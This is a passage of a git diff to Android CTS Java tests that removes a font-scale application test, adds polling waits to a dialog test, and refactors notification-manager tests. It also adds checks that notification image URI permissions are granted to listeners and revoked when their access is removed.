-    private static final String ERASE_FONT_SCALE_CMD = "settings delete system font_scale";
-    // 2 is an arbitrary value.
-    private static final String PUT_FONT_SCALE_CMD = "settings put system font_scale 2";
-
-    @Override
-    public void tearDown() throws Exception {
-        SystemUtil.runShellCommand(getInstrumentation(), ERASE_FONT_SCALE_CMD);
-    }
-
-
-    public void testApplication() throws Throwable {
-        final Instrumentation instrumentation = getInstrumentation();
-        final Context targetContext = instrumentation.getTargetContext();
-
-        final Intent intent = new Intent(targetContext, MockApplicationActivity.class);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-
-        final Activity activity = instrumentation.startActivitySync(intent);
-        final MockApplication mockApp = (MockApplication) activity.getApplication();
-        assertTrue(mockApp.isConstructorCalled);
-        assertTrue(mockApp.isOnCreateCalled);
-        toggleFontScale();
-        assertTrue(waitForOnConfigurationChange(mockApp));
-    }
-
-    public void testOnTrimMemory() {
-        final int level = 2;
-        Application app = new Application();
-        ComponentCallbacks2 mockCallBack2 = mock(ComponentCallbacks2.class, CALLS_REAL_METHODS);
-        app.registerComponentCallbacks(mockCallBack2);
-
-        app.onTrimMemory(level);
-
-        verify(mockCallBack2).onTrimMemory(level);
-    }
-
-    // Font scale is a global configuration.
-    // This function will delete any previous font scale changes, apply one, and remove it.
-    private void toggleFontScale() throws Throwable {
-        SystemUtil.runShellCommand(getInstrumentation(), ERASE_FONT_SCALE_CMD);
-        getInstrumentation().waitForIdleSync();
-        SystemUtil.runShellCommand(getInstrumentation(), PUT_FONT_SCALE_CMD);
-        getInstrumentation().waitForIdleSync();
-        SystemUtil.runShellCommand(getInstrumentation(), ERASE_FONT_SCALE_CMD);
-    }
-
-    // Wait for a maximum of 5 seconds for global config change to occur.
-    private boolean waitForOnConfigurationChange(MockApplication mockApp) throws Throwable {
-        int retriesLeft = 5;
-        while(retriesLeft-- > 0) {
-            if (mockApp.isOnConfigurationChangedCalled) {
-                return true;
-            }
-            Thread.sleep(1000);
-        }
-        return false;
-    }
-
-}
diff --git a/tests/app/src/android/app/cts/DialogTest.java b/tests/app/src/android/app/cts/DialogTest.java
index 7f6631a..e274135 100755
--- a/tests/app/src/android/app/cts/DialogTest.java
+++ b/tests/app/src/android/app/cts/DialogTest.java
@@ -658,8 +658,11 @@
         assertFalse(d.isOnPanelClosedCalled);
         assertFalse(d.isOnContextMenuClosedCalled);
         // Close context menu
+        d.isOnWindowFocusChangedCalled = false;
         sendKeys(KeyEvent.KEYCODE_BACK);
         PollingCheck.waitFor(() -> d.isOnPanelClosedCalled);
+        // Wait for window focus change after pressing back
+        PollingCheck.waitFor(() -> d.isOnWindowFocusChangedCalled);
         // Here isOnContextMenuClosedCalled should be true, see bug 1716918.
         assertFalse(d.isOnContextMenuClosedCalled);
 
@@ -678,10 +681,14 @@
         assertFalse(d.isOnCreateContextMenuCalled);
 
         // Register for context menu and open it again
+        v.isShowContextMenuCalled = false;
+        d.isOnCreateContextMenuCalled = false;
         mScenario.onActivity(activity -> {
             d.registerForContextMenu(v);
             d.openContextMenu(v);
         });
+        PollingCheck.waitFor(() -> d.isOnCreateContextMenuCalled);
+        PollingCheck.waitFor(() -> v.isShowContextMenuCalled);
         PollingCheck.waitFor(d::contextMenuHasWindowFocus);
 
         assertFalse(d.isOnContextItemSelectedCalled);
@@ -689,7 +696,7 @@
         d.isOnPanelClosedCalled = false;
         assertFalse(d.isOnContextMenuClosedCalled);
         // select a context menu item
-        sendKeys(KeyEvent.KEYCODE_DPAD_CENTER);
+        d.selectContextMenuItem();
         assertTrue(d.isOnMenuItemSelectedCalled);
         // Here isOnContextItemSelectedCalled should be true, see bug 1716918.
         assertFalse(d.isOnContextItemSelectedCalled);
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 13f0446..cf579ce 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -75,13 +75,16 @@
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.ContentProviderOperation;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.OperationApplicationException;
+import android.content.ServiceConnection;
 import android.content.pm.PackageManager;
 import android.content.pm.ShortcutInfo;
 import android.content.pm.ShortcutManager;
+import android.content.res.AssetFileDescriptor;
 import android.database.Cursor;
 import android.graphics.Bitmap;
 import android.graphics.drawable.Icon;
@@ -91,6 +94,7 @@
 import android.net.Uri;
 import android.os.Build;
 import android.os.Bundle;
+import android.os.IBinder;
 import android.os.ParcelFileDescriptor;
 import android.os.RemoteException;
 import android.os.SystemClock;
@@ -111,12 +115,12 @@
 import android.util.Log;
 import android.widget.RemoteViews;
 
-import androidx.test.InstrumentationRegistry;
+import androidx.annotation.NonNull;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.FeatureUtil;
 import com.android.compatibility.common.util.SystemUtil;
-
-import junit.framework.Assert;
+import com.android.test.notificationlistener.INotificationUriAccessService;
 
 import java.io.BufferedReader;
 import java.io.FileInputStream;
@@ -133,11 +137,15 @@
 import java.util.Set;
 import java.util.UUID;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
 /* This tests NotificationListenerService together with NotificationManager, as you need to have
  * notifications to manipulate in order to test the listener service. */
 public class NotificationManagerTest extends AndroidTestCase {
+    public static final String NOTIFICATIONPROVIDER = "com.android.test.notificationprovider";
+    public static final String RICH_NOTIFICATION_ACTIVITY =
+            "com.android.test.notificationprovider.RichNotificationActivity";
     final String TAG = NotificationManagerTest.class.getSimpleName();
     final boolean DEBUG = false;
     static final String NOTIFICATION_CHANNEL_ID = "NotificationManagerTest";
@@ -160,6 +168,7 @@
     private List<String> mRuleIds;
     private BroadcastReceiver mBubbleBroadcastReceiver;
     private boolean mBubblesEnabledSettingToRestore;
+    private INotificationUriAccessService mNotificationUriAccessService;
 
     @Override
     protected void setUp() throws Exception {
@@ -181,6 +190,9 @@
         mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
         mRuleIds = new ArrayList<>();
 
+        // ensure listener access isn't allowed before test runs (other tests could put
+        // TestListener in an unexpected state)
+        toggleListenerAccess(false);
         toggleNotificationPolicyAccess(mContext.getPackageName(),
                 InstrumentationRegistry.getInstrumentation(), true);
         mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_ALL);
@@ -195,7 +207,8 @@
         // delay between tests so notifications aren't dropped by the rate limiter
         try {
             Thread.sleep(500);
-        } catch(InterruptedException e) {}
+        } catch (InterruptedException e) {
+        }
     }
 
     @Override
@@ -222,8 +235,7 @@
         suspendPackage(mContext.getPackageName(), InstrumentationRegistry.getInstrumentation(),
                 false);
 
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), false);
+        toggleListenerAccess(false);
         toggleNotificationPolicyAccess(mContext.getPackageName(),
                 InstrumentationRegistry.getInstrumentation(), false);
 
@@ -237,17 +249,17 @@
         setBubblesGlobal(mBubblesEnabledSettingToRestore);
     }
 
-    private boolean isNotificationCancelled(int id, boolean all) {
+    private void assertNotificationCancelled(int id, boolean all) {
         for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
-            StatusBarNotification sbn = findPostedNotification(id, all);
-            if (sbn == null) return true;
+            StatusBarNotification sbn = findNotificationNoWait(id, all);
+            if (sbn == null) return;
             try {
                 Thread.sleep(SHORT_WAIT_TIME);
             } catch (InterruptedException e) {
                 e.printStackTrace();
             }
         }
-        return false;
+        assertNull(findNotificationNoWait(id, all));
     }
 
     private void insertSingleContact(String name, String phone, String email, boolean starred) {
@@ -309,8 +321,8 @@
         try {
             Uri phoneUri = Uri.withAppendedPath(ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
                     Uri.encode(phone));
-            String[] projection = new String[] { ContactsContract.Contacts._ID,
-                    ContactsContract.Contacts.LOOKUP_KEY };
+            String[] projection = new String[]{ContactsContract.Contacts._ID,
+                    ContactsContract.Contacts.LOOKUP_KEY};
             c = mContext.getContentResolver().query(phoneUri, projection, null, null, null);
             if (c != null && c.getCount() > 0) {
                 c.moveToFirst();
@@ -333,25 +345,28 @@
     private StatusBarNotification findPostedNotification(int id, boolean all) {
         // notification is a bit asynchronous so it may take a few ms to appear in
         // getActiveNotifications()
-        // we will check for it for up to 300ms before giving up
-        StatusBarNotification n = null;
-        for (int tries = 3; tries-- > 0; ) {
-            final StatusBarNotification[] sbns = getActiveNotifications(all);
-            for (StatusBarNotification sbn : sbns) {
-                Log.d(TAG, "Found " + sbn.getKey());
-                if (sbn.getId() == id) {
-                    n = sbn;
-                    break;
-                }
+        // we will check for it for up to 1000ms before giving up
+        for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
+            StatusBarNotification n = findNotificationNoWait(id, all);
+            if (n != null) {
+                return n;
             }
-            if (n != null) break;
             try {
-                Thread.sleep(100);
+                Thread.sleep(SHORT_WAIT_TIME);
             } catch (InterruptedException ex) {
                 // pass
             }
         }
-        return n;
+        return findNotificationNoWait(id, all);
+    }
+
+    private StatusBarNotification findNotificationNoWait(int id, boolean all) {
+        for (StatusBarNotification sbn : getActiveNotifications(all)) {
+            if (sbn.getId() == id) {
+                return sbn;
+            }
+        }
+        return null;
     }
 
     private StatusBarNotification[] getActiveNotifications(boolean all) {
@@ -462,8 +477,7 @@
 
     private void setUpNotifListener() {
         try {
-            toggleListenerAccess(TestNotificationListener.getId(),
-                    InstrumentationRegistry.getInstrumentation(), true);
+            toggleListenerAccess(true);
             mListener = TestNotificationListener.getInstance();
             mListener.resetData();
             assertNotNull(mListener);
@@ -484,16 +498,16 @@
 
         if (data == null) {
             data = new Notification.BubbleMetadata.Builder(pendingIntent,
-                            Icon.createWithResource(mContext, R.drawable.black))
+                    Icon.createWithResource(mContext, R.drawable.black))
                     .build();
         }
         if (builder == null) {
             builder = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
-                            .setSmallIcon(R.drawable.black)
-                            .setWhen(System.currentTimeMillis())
-                            .setContentTitle("notify#" + id)
-                            .setContentText("This is #" + id + "notification  ")
-                            .setContentIntent(pendingIntent);
+                    .setSmallIcon(R.drawable.black)
+                    .setWhen(System.currentTimeMillis())
+                    .setContentTitle("notify#" + id)
+                    .setContentText("This is #" + id + "notification  ")
+                    .setContentIntent(pendingIntent);
         }
         builder.setBubbleMetadata(data);
 
@@ -536,7 +550,7 @@
         // getActiveNotifications()
         // we will check for it for up to 300ms before giving up
         boolean found = false;
-        for (int tries = 3; tries--> 0;) {
+        for (int tries = 3; tries-- > 0; ) {
             // Need reset flag.
             found = false;
             final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
@@ -562,7 +576,7 @@
         // getActiveNotifications()
         // we will check for it for up to 400ms before giving up
         int lastCount = 0;
-        for (int tries = 4; tries-- > 0;) {
+        for (int tries = 4; tries-- > 0; ) {
             final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
             lastCount = sbns.length;
             if (expectedCount == lastCount) return;
@@ -572,7 +586,7 @@
                 // pass
             }
         }
-        fail("Expected " + expectedCount + " posted notifications, were " +  lastCount);
+        fail("Expected " + expectedCount + " posted notifications, were " + lastCount);
     }
 
     private void compareChannels(NotificationChannel expected, NotificationChannel actual) {
@@ -612,9 +626,9 @@
         runCommand(command, instrumentation);
 
         NotificationManager nm = mContext.getSystemService(NotificationManager.class);
-        Assert.assertEquals("Notification Policy Access Grant is " +
-                        nm.isNotificationPolicyAccessGranted() + " not " + on, on,
-                nm.isNotificationPolicyAccessGranted());
+        assertEquals("Notification Policy Access Grant is "
+                + nm.isNotificationPolicyAccessGranted() + " not " + on + " for "
+                + packageName,  on, nm.isNotificationPolicyAccessGranted());
     }
 
     private void suspendPackage(String packageName,
@@ -626,18 +640,23 @@
         runCommand(command, instrumentation);
     }
 
-    private void toggleListenerAccess(String componentName, Instrumentation instrumentation,
-            boolean on) throws IOException {
-
+    private void toggleListenerAccess(boolean on) throws IOException {
         String command = " cmd notification " + (on ? "allow_listener " : "disallow_listener ")
-                + componentName;
+                + TestNotificationListener.getId();
 
-        runCommand(command, instrumentation);
+        runCommand(command, InstrumentationRegistry.getInstrumentation());
 
         final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
         final ComponentName listenerComponent = TestNotificationListener.getComponentName();
-        assertTrue(listenerComponent + " has not been granted access",
-                nm.isNotificationListenerAccessGranted(listenerComponent) == on);
+        assertEquals(listenerComponent + " has incorrect listener access",
+                on, nm.isNotificationListenerAccessGranted(listenerComponent));
+    }
+
+    private void toggleExternalListenerAccess(ComponentName listenerComponent, boolean on)
+            throws IOException {
+        String command = " cmd notification " + (on ? "allow_listener " : "disallow_listener ")
+                + listenerComponent.flattenToString();
+        runCommand(command, InstrumentationRegistry.getInstrumentation());
     }
 
     private void setBubblesGlobal(boolean enabled)
@@ -669,15 +688,18 @@
         Thread.sleep(500); // wait for ranking update
     }
 
+    @SuppressWarnings("StatementWithEmptyBody")
     private void runCommand(String command, Instrumentation instrumentation) throws IOException {
         UiAutomation uiAutomation = instrumentation.getUiAutomation();
         // Execute command
         try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
-            Assert.assertNotNull("Failed to execute shell command: " + command, fd);
+            assertNotNull("Failed to execute shell command: " + command, fd);
             // Wait for the command to finish by reading until EOF
             try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
                 byte[] buffer = new byte[4096];
-                while (in.read(buffer) > 0) {}
+                while (in.read(buffer) > 0) {
+                    // discard output
+                }
             } catch (IOException e) {
                 throw new IOException("Could not read stdout of command: " + command, e);
             }
@@ -711,7 +733,7 @@
 
     private void assertExpectedDndState(int expectedState) {
         int tries = 3;
-        for (int i = tries; i >=0; i--) {
+        for (int i = tries; i >= 0; i--) {
             if (expectedState ==
                     mNotificationManager.getCurrentInterruptionFilter()) {
                 break;
@@ -821,11 +843,11 @@
         KeyguardManager keyguardManager = mContext.getSystemService(KeyguardManager.class);
         keyguardManager.requestDismissKeyguard(sendBubbleActivity,
                 new KeyguardManager.KeyguardDismissCallback() {
-            @Override
-            public void onDismissSucceeded() {
-                latch.countDown();
-            }
-        });
+                    @Override
+                    public void onDismissSucceeded() {
+                        latch.countDown();
+                    }
+                });
         try {
             latch.await(500, TimeUnit.MILLISECONDS);
         } catch (InterruptedException e) {
@@ -1111,7 +1133,7 @@
                 new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         channel.setDescription("bananas");
         channel.enableVibration(true);
-        channel.setVibrationPattern(new long[] {5, 8, 2, 1});
+        channel.setVibrationPattern(new long[]{5, 8, 2, 1});
         channel.setSound(new Uri.Builder().scheme("test").build(),
                 new AudioAttributes.Builder().setUsage(
                         AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_DELAYED).build());
@@ -1226,7 +1248,8 @@
         try {
             mNotificationManager.createNotificationChannel(channel);
             fail("Created notification with bad group");
-        } catch (IllegalArgumentException e) {}
+        } catch (IllegalArgumentException e) {
+        }
     }
 
     public void testCreateChannelInvalidImportance() throws Exception {
@@ -1393,8 +1416,7 @@
     }
 
     public void testSuspendPackage() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1435,8 +1457,7 @@
     }
 
     public void testSuspendedPackageSendsNotification() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1488,8 +1509,7 @@
         assertEquals(1, Settings.Global.getInt(
                 mContext.getContentResolver(), Settings.Global.NOTIFICATION_BUBBLES));
 
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1533,8 +1553,7 @@
         assertEquals(1, Settings.Secure.getInt(
                 mContext.getContentResolver(), Settings.Secure.NOTIFICATION_BADGING));
 
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1576,8 +1595,7 @@
     }
 
     public void testGetSuppressedVisualEffectsOff_ranking() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1605,8 +1623,7 @@
         final int originalFilter = mNotificationManager.getCurrentInterruptionFilter();
         NotificationManager.Policy origPolicy = mNotificationManager.getNotificationPolicy();
         try {
-            toggleListenerAccess(TestNotificationListener.getId(),
-                    InstrumentationRegistry.getInstrumentation(), true);
+            toggleListenerAccess(true);
             Thread.sleep(500); // wait for listener to be allowed
 
             mListener = TestNotificationListener.getInstance();
@@ -1654,8 +1671,7 @@
     }
 
     public void testKeyChannelGroupOverrideImportanceExplanation_ranking() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1742,6 +1758,10 @@
     public void testCancel() throws Exception {
         final int id = 9;
         sendNotification(id, R.drawable.black);
+        // Wait for the notification posted not just enqueued
+        try {
+            Thread.sleep(500);
+        } catch(InterruptedException e) {}
         mNotificationManager.cancel(id);
 
         if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
@@ -1943,7 +1963,8 @@
                         .setStyle(new Notification.BigPictureStyle()
                                 .setBigContentTitle("title")
                                 .bigPicture(Bitmap.createBitmap(100, 100, Bitmap.Config.RGB_565))
-                                .bigLargeIcon(Icon.createWithResource(getContext(), R.drawable.icon_blue))
+                                .bigLargeIcon(
+                                        Icon.createWithResource(getContext(), R.drawable.icon_blue))
                                 .setSummaryText("summary"))
                         .build();
         mNotificationManager.notify(id, notification);
@@ -2089,8 +2110,9 @@
             //        mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
 
             // Test requires that the phone's default state has no channels that can bypass dnd
-            assertTrue("Ringer stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+            // which we can't currently guarantee (b/169267379)
+            // assertTrue("Ringer stream should be muted",
+            //        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
         } finally {
             mNotificationManager.setInterruptionFilter(originalFilter);
             mNotificationManager.setNotificationPolicy(origPolicy);
@@ -2130,8 +2152,9 @@
                     mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
 
             // Test requires that the phone's default state has no channels that can bypass dnd
-            assertTrue("Ringer stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+            // which we can't currently guarantee (b/169267379)
+            // assertTrue("Ringer stream should be muted",
+            //  mAudioManager.isStreamMute(AudioManager.STREAM_RING));
         } finally {
             mNotificationManager.setInterruptionFilter(originalFilter);
             mNotificationManager.setNotificationPolicy(origPolicy);
@@ -2376,31 +2399,31 @@
     }
 
     public void testNotificationPolicyVisualEffectsEqual() {
-        NotificationManager.Policy policy = new NotificationManager.Policy(0,0 ,0 ,
+        NotificationManager.Policy policy = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_SCREEN_ON);
-        NotificationManager.Policy policy2 = new NotificationManager.Policy(0,0 ,0 ,
+        NotificationManager.Policy policy2 = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_PEEK);
         assertTrue(policy.equals(policy2));
         assertTrue(policy2.equals(policy));
 
-        policy = new NotificationManager.Policy(0,0 ,0 ,
+        policy = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_SCREEN_ON);
-        policy2 = new NotificationManager.Policy(0,0 ,0 ,
+        policy2 = new NotificationManager.Policy(0, 0, 0,
                 0);
         assertFalse(policy.equals(policy2));
         assertFalse(policy2.equals(policy));
 
-        policy = new NotificationManager.Policy(0,0 ,0 ,
+        policy = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_SCREEN_OFF);
-        policy2 = new NotificationManager.Policy(0,0 ,0 ,
+        policy2 = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_FULL_SCREEN_INTENT | SUPPRESSED_EFFECT_AMBIENT
                         | SUPPRESSED_EFFECT_LIGHTS);
         assertTrue(policy.equals(policy2));
         assertTrue(policy2.equals(policy));
 
-        policy = new NotificationManager.Policy(0,0 ,0 ,
+        policy = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_SCREEN_OFF);
-        policy2 = new NotificationManager.Policy(0,0 ,0 ,
+        policy2 = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_LIGHTS);
         assertFalse(policy.equals(policy2));
         assertFalse(policy2.equals(policy));
@@ -2451,7 +2474,7 @@
         mNotificationManager.notifyAsPackage(DELEGATOR, "toBeCanceled", 10000, n);
         assertNotNull(findPostedNotification(10000, false));
         mNotificationManager.cancelAsPackage(DELEGATOR, "toBeCanceled", 10000);
-        assertTrue(isNotificationCancelled(10000, false));
+        assertNotificationCancelled(10000, false);
         final Intent revokeIntent = new Intent();
         revokeIntent.setClassName(DELEGATOR, REVOKE_CLASS);
         revokeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
@@ -2461,8 +2484,7 @@
 
     public void testNotificationDelegate_cannotCancelNotificationsPostedByDelegator()
             throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2481,7 +2503,7 @@
 
         try {
             mNotificationManager.cancelAsPackage(DELEGATOR, null, 9);
-            fail ("Delegate should not be able to cancel notification they did not post");
+            fail("Delegate should not be able to cancel notification they did not post");
         } catch (SecurityException e) {
             // yay
         }
@@ -2532,7 +2554,7 @@
 
         // wait for the activity to launch and finish
         mContext.startActivity(activityIntent);
-        Thread.sleep(500);
+        Thread.sleep(2000);
 
         NotificationChannel channel =
                 mContext.createPackageContextAsUser(DELEGATOR, /* flags= */ 0, mContext.getUser())
@@ -2629,8 +2651,7 @@
             // pass
         }
 
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         // no exception this time
         mNotificationManager.shouldHideSilentStatusBarIcons();
     }
@@ -2697,9 +2718,250 @@
         listener.onListenerDisconnected();
     }
 
+    private void performNotificationProviderAction(@NonNull String action) {
+        // Create an intent to launch an activity which just posts or cancels notifications
+        Intent activityIntent = new Intent();
+        activityIntent.setClassName(NOTIFICATIONPROVIDER, RICH_NOTIFICATION_ACTIVITY);
+        activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        activityIntent.putExtra("action", action);
+        mContext.startActivity(activityIntent);
+    }
+
+    public void testNotificationUriPermissionsGranted() throws Exception {
+        Uri background7Uri = Uri.parse(
+                "content://com.android.test.notificationprovider.provider/background7.png");
+        Uri background8Uri = Uri.parse(
+                "content://com.android.test.notificationprovider.provider/background8.png");
+
+        toggleListenerAccess(true);
+        Thread.sleep(500); // wait for listener to be allowed
+
+        mListener = TestNotificationListener.getInstance();
+        assertNotNull(mListener);
+
+        try {
+            // Post #7
+            performNotificationProviderAction("send-7");
+
+            assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+            assertNotificationCancelled(8, true);
+            assertAccessible(background7Uri);
+            assertInaccessible(background8Uri);
+
+            // Post #8
+            performNotificationProviderAction("send-8");
+
+            assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+            assertEquals(background8Uri, getNotificationBackgroundImageUri(8));
+            assertAccessible(background7Uri);
+            assertAccessible(background8Uri);
+
+            // Cancel #7
+            performNotificationProviderAction("cancel-7");
+
+            assertNotificationCancelled(7, true);
+            assertEquals(background8Uri, getNotificationBackgroundImageUri(8));
+            assertInaccessible(background7Uri);
+            assertAccessible(background8Uri);
+
+            // Cancel #8
+            performNotificationProviderAction("cancel-8");
+
+            assertNotificationCancelled(7, true);
+            assertNotificationCancelled(8, true);
+            assertInaccessible(background7Uri);
+            assertInaccessible(background8Uri);
+
+        } finally {
+            // Clean up -- reset any remaining notifications
+            performNotificationProviderAction("reset");
+            Thread.sleep(500);
+        }
+    }
+
+    public void testNotificationUriPermissionsGrantedToNewListeners() throws Exception {
+        Uri background7Uri = Uri.parse(
+                "content://com.android.test.notificationprovider.provider/background7.png");
+
+        try {
+            // Post #7
+            performNotificationProviderAction("send-7");
+
+            Thread.sleep(500);
+            // Don't have access the notification yet, but we can test the URI
+            assertInaccessible(background7Uri);
+
+            toggleListenerAccess(true);
+            Thread.sleep(500); // wait for listener to be allowed
+
+            mListener = TestNotificationListener.getInstance();
+            assertNotNull(mListener);
+
+            assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+            assertAccessible(background7Uri);
+
+        } finally {
+            // Clean Up -- Cancel #7
+            performNotificationProviderAction("cancel-7");
+            Thread.sleep(500);
+        }
+    }
+
+    public void testNotificationUriPermissionsRevokedFromRemovedListeners() throws Exception {
+        Uri background7Uri = Uri.parse(
+                "content://com.android.test.notificationprovider.provider/background7.png");
+
+        toggleListenerAccess(true);
+        Thread.sleep(500); // wait for listener to be allowed
+
+        try {
+            // Post #7
+            performNotificationProviderAction("send-7");
+
+            mListener = TestNotificationListener.getInstance();
+            assertNotNull(mListener);
+
+            assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+            assertAccessible(background7Uri);
+
+            // Remove the listener to ensure permissions get revoked
+            toggleListenerAccess(false);
+            Thread.sleep(500); // wait for listener to be disabled
+
+            assertInaccessible(background7Uri);
+
+        } finally {
+            // Clean Up -- Cancel #7
+            performNotificationProviderAction("cancel-7");
+            Thread.sleep(500);
+        }
+    }
+
+    private class NotificationListenerConnection implements ServiceConnection {
+        private final Semaphore mSemaphore = new Semaphore(0);
+
+        @Override
+        public void onServiceConnected(ComponentName className, IBinder service) {
+            mNotificationUriAccessService = INotificationUriAccessService.Stub.asInterface(service);
+            mSemaphore.release();
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName className) {
+            mNotificationUriAccessService = null;
+        }
+
+        public void waitForService() {
+            try {
+                if (mSemaphore.tryAcquire(5, TimeUnit.SECONDS)) {
+                    return;
+                }
+            } catch (InterruptedException e) {
+            }
+            fail("failed to connec to service");
+        }
+    }
+
+    ;
+
+    public void testNotificationUriPermissionsRevokedOnlyFromRemovedListeners() throws Exception {
+        Uri background7Uri = Uri.parse(
+                "content://com.android.test.notificationprovider.provider/background7.png");
+
+        // Connect to a service in the NotificationListener app which allows us to validate URI
+        // permissions granted to a second app, so that we show that permissions aren't being
+        // revoked too broadly.
+        final Intent intent = new Intent();
+        intent.setComponent(new ComponentName("com.android.test.notificationlistener",
+                "com.android.test.notificationlistener.NotificationUriAccessService"));
+        NotificationListenerConnection connection = new NotificationListenerConnection();
+        mContext.bindService(intent, connection, Context.BIND_AUTO_CREATE);
+        connection.waitForService();
+
+        // Before starting the test, make sure the service works, that there is no listener, and
+        // that the URI starts inaccessible to that process.
+        mNotificationUriAccessService.ensureNotificationListenerServiceConnected(false);
+        assertFalse(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+        // Give the NotificationListener app access to notifications, and validate that.
+        toggleExternalListenerAccess(new ComponentName("com.android.test.notificationlistener",
+                "com.android.test.notificationlistener.TestNotificationListener"), true);
+        Thread.sleep(500);
+        mNotificationUriAccessService.ensureNotificationListenerServiceConnected(true);
+        assertFalse(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+        // Give the test app access to notifications, and get that listener
+        toggleListenerAccess(true);
+        Thread.sleep(500); // wait for listener to be allowed
+        mListener = TestNotificationListener.getInstance();
+        assertNotNull(mListener);
+
+        try {
+            try {
+                // Post #7
+                performNotificationProviderAction("send-7");
+
+                // Check that both the test app (this code) and the external app have URI access.
+                assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+                assertAccessible(background7Uri);
+                assertTrue(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+                // Remove the listener to ensure permissions get revoked
+                toggleListenerAccess(false);
+                Thread.sleep(500); // wait for listener to be disabled
+
+                // Ensure that revoking listener access to this one app does not effect the other.
+                assertInaccessible(background7Uri);
+                assertTrue(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+            } finally {
+                // Clean Up -- Cancel #7
+                performNotificationProviderAction("cancel-7");
+                Thread.sleep(500);
+            }
+
+            // Finally, cancelling the permission must still revoke those other permissions.
+            assertFalse(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+        } finally {
+            // Clean Up -- Make sure the external listener is has access revoked
+            toggleExternalListenerAccess(new ComponentName("com.android.test.notificationlistener",
+                    "com.android.test.notificationlistener.TestNotificationListener"), false);
+        }
+    }
+
+    private void assertAccessible(Uri uri)
+            throws IOException {
+        ContentResolver contentResolver = mContext.getContentResolver();
+        try (AssetFileDescriptor fd = contentResolver.openAssetFile(uri, "r", null)) {
+            assertNotNull(fd);
+        } catch (SecurityException e) {
